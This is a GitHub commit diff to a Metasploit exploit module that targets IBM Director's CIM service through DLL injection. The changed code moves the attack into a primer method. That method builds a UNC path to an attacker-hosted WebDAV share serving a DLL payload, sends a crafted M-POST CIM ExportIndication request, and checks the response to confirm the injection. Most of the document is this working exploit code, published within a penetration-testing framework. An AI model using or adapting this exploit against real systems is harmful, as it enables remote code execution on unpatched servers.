Skip to content

Commit 37f9cff

Browse files
committed
Merge branch 'ibm_director_cim_dllinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ibm_director_cim_dllinject
2 parents 817a774 + fd20998 commit 37f9cff

File tree

1 file changed

+19
-12
lines changed

1 file changed

+19
-12
lines changed

modules/exploits/windows/misc/ibm_director_cim_dllinject.rb

Lines changed: 19 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -274,17 +274,21 @@ def check
274274

275275
def exploit
276276

277+
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
278+
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
279+
end
280+
281+
super
282+
283+
end
284+
285+
def primer
286+
277287
basename = rand_text_alpha(3)
278288
share_name = rand_text_alpha(3)
279-
280289
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
281-
282290
exploit_unc = "\\\\#{myhost}\\"
283291

284-
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
285-
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
286-
end
287-
288292
vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
289293

290294
@peer = "#{rhost}:#{rport}"
@@ -296,16 +300,19 @@ def exploit
296300
'method' => 'M-POST',
297301
'ctype' => 'application/xml; charset=utf-8',
298302
'headers' => {
299-
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
300-
"CIMOperation" => "MethodCall",
301-
"CIMExport" => "MethodRequest",
303+
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
304+
"CIMOperation" => "MethodCall",
305+
"CIMExport" => "MethodRequest",
302306
"CIMExportMethod" => "ExportIndication"
303307
},
304308
'data' => xml_data,
305-
}, 1)
306-
307-
super
309+
})
308310

311+
if res and res.code == 200 and res.body =~ /CIMVERSION/
312+
print_status"#{@peer} - Then injection seemed to work..."
313+
else
314+
fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
315+
end
309316
end
310317

311318
end

0 commit comments

Comments
 (0)